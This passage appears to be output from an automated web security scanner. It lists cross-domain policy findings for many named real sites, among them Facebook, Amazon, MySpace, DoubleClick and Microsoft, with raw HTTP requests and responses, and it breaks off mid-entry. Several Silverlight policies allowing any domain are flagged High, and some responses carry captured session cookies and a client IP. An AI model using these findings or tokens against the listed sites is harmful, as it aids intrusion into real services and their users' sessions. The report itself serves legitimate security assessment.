<allow-access-from domain="d-trobertson" secure="false"/>
...[SNIP]...
<allow-access-from domain="vmu-shd-fb1.sf.akqa.com"/>
<allow-access-from domain="tarjoukset.hs.fi" />
<allow-access-from domain="8.17.173.144" />
<allow-access-from domain="www.targetweeklyadapps.com" />
<allow-access-from domain="*.intellitxt.com" />
<allow-access-from domain="*.richrelevance.com" />
<allow-access-from domain="devcpd2.yourlexusdealer.com" />
<allow-access-from domain="dev.big5.adhostclient.com" />
<allow-access-from domain="big5sportinggoods.com" secure="true" />
...[SNIP]...
<allow-access-from domain="www.big5sportinggoods.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.sears.com" />
<allow-access-from domain="*.kmart.com" />
<allow-access-from domain="*.facebook.com" />
<allow-access-from domain="*.designkitchen.com" />
<allow-access-from domain="*.michaels.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.bonton.com" />
<allow-access-from domain="*.elder-beerman.com" />
<allow-access-from domain="*.carsons.com" />
<allow-access-from domain="*.bostonstore.com" />
<allow-access-from domain="*.younkers.com" />
<allow-access-from domain="*.parisian.com" />
<allow-access-from domain="*.herbergers.com" />
<allow-access-from domain="*.bergners.com" />
<allow-access-from domain="flyer.canadiantire.ca" />
<allow-access-from domain="circulaire.canadiantire.ca" />
<allow-access-from domain="cdn.uc.atwola.com" />
<allow-access-from domain="*.workalicious.com" />
<allow-access-from domain="*.liquidus.net" />
<allow-access-from domain="ec2-67-202-62-111.compute-1.amazonaws.com"/>
<allow-access-from domain="ec2-184-72-169-190.compute-1.amazonaws.com"/>
<allow-access-from domain="*.washingtonpost.com"/>
<allow-access-from domain="69.20.118.121" />
...[SNIP]...

5.63. http://posterous.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://posterous.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: posterous.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 22:58:38 GMT
Content-Type: text/xml
Content-Length: 293
Last-Modified: Wed, 01 Dec 2010 02:16:37 GMT
Connection: close
Expires: Mon, 07 Mar 2011 22:58:38 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.posterous.com" secure="false"/>
...[SNIP]...

5.64. http://static.ak.fbcdn.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-Cnection: close
Date: Sat, 05 Feb 2011 23:01:19 GMT
Content-Length: 1581
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
...[SNIP]...
<allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="external.ak.fbcdn.net" />
   <allow-access-from domain="www.facebook.com" />
   <allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
...[SNIP]...
<allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="s-static.ak.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
...[SNIP]...

5.65. http://www.amazon.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.amazon.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.amazon.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:33 GMT
Server: Server
Last-Modified: Tue, 09 Nov 2010 18:03:08 GMT
ETag: "3e0-8d97ef00"
Accept-Ranges: bytes
Content-Length: 992
Vary: Accept-Encoding,User-Agent
Cneonction: close
Content-Type: text/xml
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.amazon.com" />
<allow-access-from domain="amazon.com" />
...[SNIP]...
<allow-access-from domain="pre-prod.amazon.com" />
<allow-access-from domain="devo.amazon.com" />
<allow-access-from domain="anon.amazon.speedera.net" />
<allow-access-from domain="*.images-amazon.com" />
<allow-access-from domain="*.ssl-images-amazon.com" />
<allow-access-from domain="*.amazon.ca" />
<allow-access-from domain="*.amazon.cn" />
<allow-access-from domain="*.amazon.de" />
<allow-access-from domain="*.amazon.fr" />
<allow-access-from domain="*.amazon.it" />
<allow-access-from domain="*.amazon.jp" />
<allow-access-from domain="*.amazon.co.jp" />
<allow-access-from domain="*.amazon.uk" />
<allow-access-from domain="*.amazon.co.uk" />
...[SNIP]...

5.66. http://www.arto.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.arto.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.arto.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Tue, 18 Jan 2011 10:00:07 GMT
Accept-Ranges: bytes
ETag: "8ce4477cf6b6cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 23:01:07 GMT
Connection: close
Content-Length: 959

<?xml version="1.0" encoding="utf-8" ?>
<cross-domain-policy>
   <allow-access-from domain="*.arto.dk" secure="false" />
   <allow-access-from domain="*.arto.com" secure="false" />
   <allow-access-from domain="*.ingencensur.dk" secure="false" />
...[SNIP]...
<allow-access-from domain="*.ingencensur2.dk" secure="false" />
...[SNIP]...
<allow-access-from domain="*.singbox.se" secure="false" />
...[SNIP]...
<allow-access-from domain="*.4fun.dk" secure="false" />
...[SNIP]...

5.67. http://www.bebo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.bebo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.bebo.com

Response

HTTP/1.0 200 OK
Server: Resin/3.0.24
ETag: "GVbY6cyl+Xo"
Last-Modified: Wed, 17 Mar 2010 18:37:48 GMT
Content-Type: text/xml
Content-Length: 798
Date: Sat, 05 Feb 2011 23:01:30 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.woolsery.com" />
<allow-access-from domain="*.woolsery.com:8080" />
<allow-access-from domain="bebo.com" />
<allow-access-from domain="*.bebo.com" />
<allow-access-from domain="*.alonda.com" />
<allow-access-from domain="*.safesocialnetworking.com" />
<allow-access-from domain="safesocialnetworking.com" />
<allow-access-from domain="*.aol.com" />
<allow-access-from domain="*.*.aol.com" />
<allow-access-from domain="*.aolcdn.com" /><allow-access-from domain="*.bebo2nd.com"/>
...[SNIP]...

5.68. https://www.box.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.box.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.box.net

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 05 Feb 2011 23:01:34 GMT
Content-Type: application/xml
Connection: close
Last-Modified: Fri, 28 Jan 2011 03:09:12 GMT
ETag: "18b1628-436-4d423358"
Accept-Ranges: bytes
Content-Length: 1078

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<!-- Box.net has recently changed its crossdomain polic
...[SNIP]...
<allow-access-from domain="*.box.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.boxcdn.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.boxcn.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.boxenterprise.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.inside-box.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.goowy.com" />
<allow-access-from domain="*.surrealsolutions.com" />
...[SNIP]...

5.69. http://www.dzone.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.dzone.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.dzone.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:17 GMT
Server: Apache/2.2.11 (Unix) DAV/2 SVN/1.5.5 Resin/4.0.4 PHP/5.2.13
X-Powered-By: PHP/5.2.13
Set-Cookie: SESS374e8db54ec3033c25a586b1d093b1d1=ttrg6cddi345sn4douro0j31v3; expires=Tue, 01-Mar-2011 02:34:37 GMT; path=/; domain=.dzone.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:01:17 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Length: 539
Vary: Accept-Encoding,User-Agent
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="www.dzone.com" />
<allow-access-from domain="*.www.dzone.com" />
<allow-access-from domain="dzone.com" />
<allow-access-from domain="*.dzone.com" />
<allow-access-from domain="localhost" />
<allow-access-from domain="*.localhost" />
<allow-access-from domain="forums.dzone.com" />
<allow-access-from domain="*.forums.dzone.com" />
...[SNIP]...

5.70. http://www.hyves.nl/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.hyves.nl
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.hyves.nl

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:02:25 GMT
Content-Type: text/xml
Content-Length: 264
Last-Modified: Fri, 27 Aug 2010 08:58:52 GMT
Connection: close
Expires: Sat, 05 Feb 2011 23:02:24 GMT
Cache-Control: no-cache
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.hyves.nl" />
<allow-access-from domain="*.hyves-static.net" />
...[SNIP]...

5.71. http://www.myspace.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.myspace.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.myspace.com

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate, proxy-revalidate
Pragma: no-cache
Content-Type: text/xml
Expires: -1
Last-Modified: Thu, 03 Feb 2011 01:42:36 GMT
Accept-Ranges: bytes
ETag: "08e19a243c3cb1:0"
Server: Microsoft-IIS/7.5
X-Server: a1d52b288044c3489dca00ce7dcff04ce02b2529eddbd2b7
Set-Cookie: MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634325149776451075&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==&UserFirstVisit=1; domain=.myspace.com; expires=Sat, 12-Feb-2011 23:02:57 GMT; path=/
Set-Cookie: SessionDDF2=TCRgFNT6Vau1ai11uIdiGCmHJJ7caQS7cPrT3Njn75uslEMHrx8UCm7T9eSN0Stzn5U942W0nV2UiHIt0EWUog==; domain=.myspace.com; expires=Wed, 05-Feb-2031 23:02:57 GMT; path=/
X-PoweredBy: Rats in our Basement
Date: Sat, 05 Feb 2011 23:02:57 GMT
Connection: keep-alive
Content-Length: 680
X-Vertical: profileidentities

<cross-domain-policy>
   <allow-access-from domain="*.fimservecdn.com" />
   <allow-access-from domain="lads.myspace.cn" />
   <allow-access-from domain="*.ilike.com" />
   <allow-http-request-headers-fro
...[SNIP]...
<allow-access-from domain="*.myspacecdn.com" />
   <allow-access-from domain="*.myspace.com" />
...[SNIP]...

5.72. http://www.netlog.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.netlog.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.netlog.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:52 GMT
Server: Apache/2.2.14
Cache-Control: max-age=3600
Expires: Sun, 06 Feb 2011 00:02:52 GMT
Last-Modified: Sat, 05 Feb 2011 23:02:52 GMT
Vary: Accept-Encoding
Content-Length: 324
Connection: close
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8" ?><cross-domain-policy><allow-access-from domain="*.netlog.com" to-ports="80,81"/><allow-access-from domain="*.netlogstatic.com" to-ports="80,81"/><allow-access-from domain="*.we7.com" to-ports="80,81"/>
...[SNIP]...

5.73. http://www.netvibes.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.netvibes.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.netvibes.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 05 Feb 2011 23:02:57 GMT
Content-Type: text/xml
Connection: close
X-Men: 34
Accept-Ranges: bytes
Last-Modified: Wed, 27 May 2009 07:32:50 GMT
Content-Length: 211
X-slb: 1
X-Jobs: http://about.netvibes.com/jobs.php looking for a sysadmin :)

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.meebo.com" />
</cross-dom
...[SNIP]...

5.74. http://www.newsvine.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.newsvine.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.newsvine.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:57 GMT
Server: Apache/2.2.9 (Debian)
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Last-Modified: Tue, 19 Oct 2010 20:02:55 GMT
ETag: "119c048-191-492fdc74df9c0"
Accept-Ranges: bytes
Content-Length: 401
Keep-Alive: timeout=3, max=992
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.newsvine.com" />
<allow-access-from domain="*.msn.com" />
<allow-access-from domain="*.msnbc.com" />
<allow-access-from domain="*.fluid.nl" />
<allow-access-from domain="64.207.156.207" />
...[SNIP]...

5.75. http://www.nowpublic.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nowpublic.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.nowpublic.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:57 GMT
Server: PWS/1.7.1.2
X-Px: ms iad-agg-n36 ( iad-agg-n31), rf-ht iad-agg-n31 ( origin>CONN)
ETag: "1cc885c-10b-45dc07a6e5e00"-gzip
Cache-Control: max-age=900
Expires: Sat, 05 Feb 2011 23:17:57 GMT
Age: 0
Content-Length: 267
Content-Type: application/xml
Last-Modified: Thu, 11 Dec 2008 07:39:36 GMT
Connection: close

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.nowpublic.com" />
<allow-access-from domain="*.nowpublic.net" />
...[SNIP]...

5.76. http://www.orkut.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.orkut.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.orkut.com

Response

HTTP/1.0 200 OK
Expires: Sun, 06 Feb 2011 21:59:44 GMT
Date: Sat, 05 Feb 2011 21:59:44 GMT
Content-Type: text/x-cross-domain-policy
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=86400
Age: 3794

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*.orkut.com" />
<allow-access-from domain="*.orkut.co.in" />
<allow-access-from domain="*.orkut.com.br" />
...[SNIP]...

5.77. http://www.vodafone.de/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.vodafone.de
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.vodafone.de

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:41:00 GMT
Server: Apache
Last-Modified: Thu, 08 Nov 2007 15:51:45 GMT
Accept-Ranges: bytes
Content-Length: 309
P3P: CP="NOI DSP LAW CURa OUR NOR PUR COM NAV INT STA"
Vary: User-Agent
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.vodafone.de" />
<allow-acces
...[SNIP]...
<allow-access-from domain="vodafonelive.de" />
...[SNIP]...

5.78. http://faves.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://faves.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific other domains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: faves.com

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml
Date: Sat, 05 Feb 2011 22:49:11 GMT
Server: Microsoft-IIS/6.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Length: 207
Connection: Close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy><allow-access-from domain="bluedot.us" /></cross-domain-
...[SNIP]...

5.79. http://www.livejournal.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.livejournal.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific other domains, and allows access from specific subdomains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.livejournal.com

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 23:02:39 GMT
Server: Apache/2.2.3 (CentOS)
X-AWS-Id: ws30
Set-Cookie: ljuniq=8aewGz0beafsS0b:1296946959:pgstats0:m0; expires=Wednesday, 06-Apr-2011 23:02:39 GMT; domain=.livejournal.com; path=/
Last-Modified: Fri, 18 Jun 2010 18:14:49 GMT
ETag: "da9476-238-48951ee3a5840"
Accept-Ranges: bytes
Content-Length: 568
Connection: close
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-coss-domain-polic
...[SNIP]...
<allow-access-from domain="wh.lj.ru"/>
<allow-access-from domain="swfplayer.services.livejournal.com"/>
<allow-access-from domain="player.livejournal.ru"/>
<allow-access-from domain="player.championat.net"/>
<allow-access-from domain="player.gazeta.ru"/>
<allow-access-from domain="player.quto.ru"/>
...[SNIP]...

6. Silverlight cross-domain policy previous next
There are 14 instances of this issue:

http://ad-emea.doubleclick.net/clientaccesspolicy.xml
http://ad.de.doubleclick.net/clientaccesspolicy.xml
http://ad.doubleclick.net/clientaccesspolicy.xml
http://b.voicefive.com/clientaccesspolicy.xml
http://clk.redcated/clientaccesspolicy.xml
http://enterprisemediagroup.112.2o7.net/clientaccesspolicy.xml
http://metrics.blackberry.com/clientaccesspolicy.xml
http://msdn.microsoft.com/clientaccesspolicy.xml
http://spe.redcated/clientaccesspolicy.xml
http://www91.intel.com/clientaccesspolicy.xml
http://ziffdavisbaseline.112.2o7.net/clientaccesspolicy.xml
http://d.ligatus.com/clientaccesspolicy.xml
http://officedepot.shoplocal.com/clientaccesspolicy.xml
http://www.microsoft.com/clientaccesspolicy.xml

Issue background

The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

6.1. http://ad-emea.doubleclick.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ad-emea.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 314
Last-Modified: Mon, 14 Apr 2008 14:50:56 GMT
Date: Sun, 06 Feb 2011 17:43:34 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.2. http://ad.de.doubleclick.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.de.doubleclick.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ad.de.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 314
Last-Modified: Mon, 14 Apr 2008 14:50:56 GMT
Date: Sun, 06 Feb 2011 17:43:28 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.3. http://ad.doubleclick.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 314
Last-Modified: Wed, 21 May 2008 18:54:04 GMT
Date: Sat, 05 Feb 2011 21:49:03 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.4. http://b.voicefive.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.voicefive.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: b.voicefive.com

Response

HTTP/1.0 200 OK
Last-Modified: Thu, 15 Oct 2009 22:41:14 GMT
Content-Type: application/xml
Expires: Mon, 07 Feb 2011 13:40:00 GMT
Date: Sun, 06 Feb 2011 13:40:00 GMT
Content-Length: 320
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

<?xml version="1.0" encoding="utf-8" ?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*" />
</allow-from>
<grant-to>
<resou
...[SNIP]...

6.5. http://clk.redcated/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://clk.redcated
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: clk.redcated

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 312
Content-Type: text/xml
Last-Modified: Fri, 28 Mar 2008 17:48:18 GMT
Accept-Ranges: bytes
ETag: "9e243e8fb90c81:6e7"
Connection: close
Date: Sat, 05 Feb 2011 22:47:12 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.6. http://enterprisemediagroup.112.2o7.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: enterprisemediagroup.112.2o7.net

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:54 GMT
Server: Omniture DC/2.0.0
xserver: www146
Content-Length: 263
Keep-Alive: timeout=15
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.7. http://metrics.blackberry.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrics.blackberry.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: metrics.blackberry.com

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:32:29 GMT
Server: Omniture DC/2.0.0
xserver: www9
Content-Length: 263
Keep-Alive: timeout=15
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.8. http://msdn.microsoft.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://msdn.microsoft.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: msdn.microsoft.com

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:58:27 GMT
Connection: keep-alive
Content-Length: 339

<?xml version="1.0" encoding="utf-8" ?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<gra
...[SNIP]...

6.9. http://spe.redcated/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://spe.redcated
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: spe.redcated

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Content-Length: 312
Allow: GET
Expires: Wed, 09 Feb 2011 10:29:32 GMT
Date: Sun, 06 Feb 2011 13:22:29 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.10. http://www91.intel.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www91.intel.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: www91.intel.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:36:49 GMT
Server: Omniture DC/2.0.0
xserver: www652
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.11. http://ziffdavisbaseline.112.2o7.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
